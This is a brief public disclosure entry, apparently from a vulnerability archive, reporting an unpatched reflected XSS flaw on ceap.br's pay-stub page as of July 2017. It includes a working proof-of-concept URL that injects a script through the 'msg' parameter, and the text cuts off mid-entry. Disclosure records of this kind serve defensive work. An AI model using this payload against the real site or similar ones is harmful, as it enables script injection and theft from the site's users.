ceap.br XSS vulnerability

Vulnerable URL: http://www.ceap.br/contraCheque/index.php?msg=%22/%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 258960 VIP...